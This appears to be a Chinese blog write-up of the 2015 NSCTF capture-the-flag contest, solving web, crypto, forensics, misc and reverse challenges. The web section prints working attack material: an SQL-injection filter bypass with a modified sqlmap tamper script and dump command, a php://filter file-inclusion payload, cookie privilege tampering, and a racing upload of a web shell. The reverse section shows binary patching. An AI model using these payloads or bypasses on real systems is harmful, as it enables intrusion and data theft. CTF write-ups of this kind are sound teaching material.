【Writeup】2015NSCTF

web:

      be careful:

                   发现有跳转,php跳转至html,flag在php页面,BP是神器。

      decode:

                  

 【Writeup】2015NSCTF_第1张图片


         解密脚本如下:

                          

       functiondecode($str){
                                      $_ =base64_decode(strrev(str_rot13($str)));
                                      for($_0=0;$_0

解密后获得flag

Brute force:

                   有个password.txt文件,将其当作字典,用BP进行爆破,最后出来的结果nsF0cuS,进入后,说flag不在这里,看cookie,base64解码后跳转到新的网页——留言版,要以小黑的身份留言,修改cookie islogin 值为1 ,修改发言人等级 userlevel为root 成功留言,获得flag

      javascript:

                   根据题目提示,考察点为js,查看源码发现check.js分析后获得G0od!JAVA3C41PTISAGO 1pt_Pa4sW0rd_K3y_H3re  //~~~填入后获得新地址06/Ch3ck_Au7h.php发现打开后都是error,根据文件名猜测是一个验证脚本,应该是验证用户名密码的,遂用GET方式传输参数uname=G0od!JAVA3C41PTISAGO upass=1pt_Pa4sW0rd_K3y_H3re获得flag

      sqli:

                   有filtername参数,初步分析该参数对提交的username中的字符进行过滤,填什么字符,过滤什么字符。输入’,被转义,输入%27仍旧被转义,输入%25%27,成功绕过。输入空格字符,会提示有sql注入,使用/*xx*/替换空格,仍然提示。利用filtername对/*xx*/进行构造,改造成为/ww*xxx*ww/,filtername=ww*xxx*ww/,成功绕过。

数据包为:

 

POST/fa81bb665474f11c025b5355582af315/web/12/index.php HTTP/1.1
Host: www.nsctf.net:8000
Cache-Control: max-age=0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.nsctf.net:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93Safari/537.36
Referer:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Content-Type:application/x-www-form-urlencoded
Content-Length: 110
 
username=admi%&filtername=ww&Submit=%e6%8f%90%e4%ba%a4


 

需要对space2comment进行改造:

代码如下:

#!/usr/bin/env python
 
"""
Copyright (c) 2006-2014 sqlmap developers(http://sqlmap.org/)
See the file 'doc/COPYING' for copyingpermission
"""
 
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOW
 
def dependencies():
   pass
 
def tamper(payload, **kwargs):
   """
   Replaces space character (' ') with comments '/**/'
 
   Tested against:
       * Microsoft SQL Server 2005
       * MySQL 4, 5.0 and 5.5
       * Oracle 10g
       * PostgreSQL 8.3, 8.4, 9.0
 
   Notes:
       * Useful to bypass weak and bespoke web application firewalls
 
   >>> tamper('SELECT id FROM users')
   'SELECT/ww**ww/id/ww**/FROM/ww**ww/users'
   """
 
   retVal = payload
 
    if payload:
       retVal = ""
       quote, doublequote, firstspace = False, False, False
 
       for i in xrange(len(payload)):
           if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal +="/ww**ww/"
                    continue
 
           elif payload[i] == '\'':
                quote = not quote
 
           elif payload[i] == '"':
                doublequote = not doublequote
 
           elif payload[i] == " " and not doublequote and not quote:
                retVal += "/ww**ww/"
                continue
 
           retVal += payload[i]
 
return retVal


 

使用sql跑出flag。

python sqlmap.py -r req.txt -p username--tamper=space2comment,chardoubleencode --string="admin"  -D dbs -T flag --dump

        

LFI:

                   php://filter/read=convert.base64-encode/resource=index.php  获得base64编码的网页源文件,base64解码后获得flag

      changepassword:

                   比较坑的题目啊! 备份文件名为.index.php.swp  代码审计后,提供id,pass,password序列化,其中 id为1,pass和password均为20150923oldpass 20150923 newpass 20150923(id这个坑,坑我了好久啊好久啊好久啊好久啊好久啊好久啊,后来没办法试了下1,结果就过第一个判断了。。)

      File Upload:

                   截断上传成功,服务器识别上传文件后删除,于是写个脚本循环上传,一开始由于文件太小,服务器删的太快,无法形成稳定链接,于是开20个线程进行连接。。  还是不行,最后把文件搞到60多KB,终于可以了。。  连接上后还以为可以看源码了。,特么直接给flag。

 

crypto:

      神奇的字符串:

                   aes解密,无密码,网址:http://encode.chahuo.com/

      神奇的图片:

                   (这尼玛是取证好么,怎么归到密码里面了,弱弱的吐槽下)

                   老套路先Binwalk一下。

神马都没有?

看下图片【Writeup】2015NSCTF_第2张图片

 

我怎么隐约可见一枚萌萌哒的二维码。。。(难道是我视力太好?)上神器

【Writeup】2015NSCTF_第3张图片

在绿色通道最低位发现被反色的二维码。。

很简单。。   发现一个神奇的方法,QQ截图,然后选中。。

【Writeup】2015NSCTF_第4张图片

二维码出现,扫一下就好。Flag拿到手。

      神奇的图片+10086:

                   Binwalk分析。。。【Writeup】2015NSCTF_第5张图片

这么多张图片,你家里人知道吗。。


 Ddif=oddpic.JPG skip=158792 bs=1 of=1.jpg

第一张图就是

【Writeup】2015NSCTF_第6张图片


MISC:

      Twitter:

         ,找到twitter.com/nsctf   把里面的md5  fc42aa2046ed6e90cab82b1094b19adb解密,nsfocus666,拼接成最终的flag

      WireShark:

                   搜索http包,发现关键数据包

        【Writeup】2015NSCTF_第7张图片

 

还原网页文件

 【Writeup】2015NSCTF_第8张图片

还原出key.rar文件

【Writeup】2015NSCTF_第9张图片

制作字典,用软件爆破即可,大概用了1个多小时就爆破出了密码,获得flag。

【Writeup】2015NSCTF_第10张图片

 

      小绿的女神:

 

大致分析了下,先消费了1.8然后将文件dump下来,对比之前的文件


发现有两处不同:

【Writeup】2015NSCTF_第11张图片

简单分析了下

0xc0处为剩余的钱数,紧跟的后面四个字节为该数值取反。再后面8个字节为重复。

【Writeup】2015NSCTF_第12张图片

0x40处为已经用掉的钱数。同样后面4字节为该数值取反。再后面8字节为重复。

【Writeup】2015NSCTF_第13张图片

第一次修改0x40和0xc0处数据,提交后不成功,纠结2个小时后,发现该处数据(如下图)

【Writeup】2015NSCTF_第14张图片

0x80 数值为10000,这不是总钱数么。猜测校验公式为:总钱数=用掉的钱数+现有的钱数。

接下来的工作就好办了。只要让现有的钱数为208,满足以上公式即可。成功获得flag。

 

Reverse:

      Reverse01:

                  

加壳了。。

 【Writeup】2015NSCTF_第15张图片

进OD动态分析。

使用esp定律脱壳。

 

搜索字符串得到

【Writeup】2015NSCTF_第16张图片

将该flag提交,可叹我太傻太天真。。

继续分析。。。

用jmp强行跳过判断

【Writeup】2015NSCTF_第17张图片

往下

【Writeup】2015NSCTF_第18张图片

可以看到当寄存器edi值为3时进行跳转。。

强行进入该判断

【Writeup】2015NSCTF_第19张图片

得到flag:

【Writeup】2015NSCTF_第20张图片

爆破有时候也挺好用的~

 

Reverse02:

没加壳。。直接搜索字符串

【Writeup】2015NSCTF_第21张图片

跳转到字符串所在位置。

 【Writeup】2015NSCTF_第22张图片

这个和re1好像哇。。  于是机智的我干了这么一件事。。

 【Writeup】2015NSCTF_第23张图片

设置008F1000为新的EIP

于是。。flag就直接出来了。。

 【Writeup】2015NSCTF_第24张图片

 

Reverse04:

 

用uncompyle2反编译,出错。

【Writeup】2015NSCTF_第25张图片

使用unpyclib对其进行反汇编


【Writeup】2015NSCTF_第26张图片

用16进制编辑器对二进制文件进行修改,去掉两个nop。并修改长度


继续报错,继续分析


怀疑是工具问题。

 

换一种反编译工具:传送门  http://tool.lu/pyc/

得到一部分代码

#!/usr/bin/env python
# encoding: utf-8
# 访问http://tool.lu/pyc/ 查看更多信息
data = "M,\x1d-\x18}E'\x1ezN~\x1b*\x19+\x12%\x1d-" + 'I\x7fM(I{I\x7fJ.\x16wWcRj\x0e6\x0fn' + ' Zo\nn\x0fk\t1R7\x03g\x067\x00eUb\x043'+ ' \x014\x071Rr\x14x\x19~D?q"a5s,A%' + "\x10'\x11uLyA%\x1d|DrFv\x12t\x11#B&" + 'GsKzK*O)\x1c%GuC>\x1e\x7f\x1b+\x19*'+ ' \x1e&\x14-\x1f/\x1axAqBq@yO-LtE}' + ' \x1b,MuBp\x12'
import os
import sys
import struct
import cStringIO
import string
import dis
import marshal
import types
import random
count = 0
 
def reverse(string):
   return string[::-1]
 
data_list = list(reverse(data)[1:])
 
def decrpyt(c, key2):
   global count
   data_list[count] = c ^ key2
   count += 1
 
 
def GetFlag1():
    key= struct.unpack('B', data[len(data) - 8])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
       key = struct.unpack('B', data[len(data) - 3])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag2():
   key = struct.unpack('B', data[len(data) - 11])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
       key = struct.unpack('B', data[len(data) - 4 - count])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag3():
   key = struct.unpack('B', data[len(data) - 5])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
       key = struct.unpack('B', data[len(data) - 2 - count])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag4():
   global count
   key = struct.unpack('B', data[len(data) - 1])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
        key = struct.unpack('B', data[len(data) - 1- count])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   count = 0
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag5():
   pass
# WARNING: Decompyle incomplete
 
GetFlag1()


修改代码,将GetFlag2()、GetFlag3()、GetFlag4()函数都调用,flag在GetFlag4()函数所打印出来的字符串内。

你可能感兴趣的:(CTF)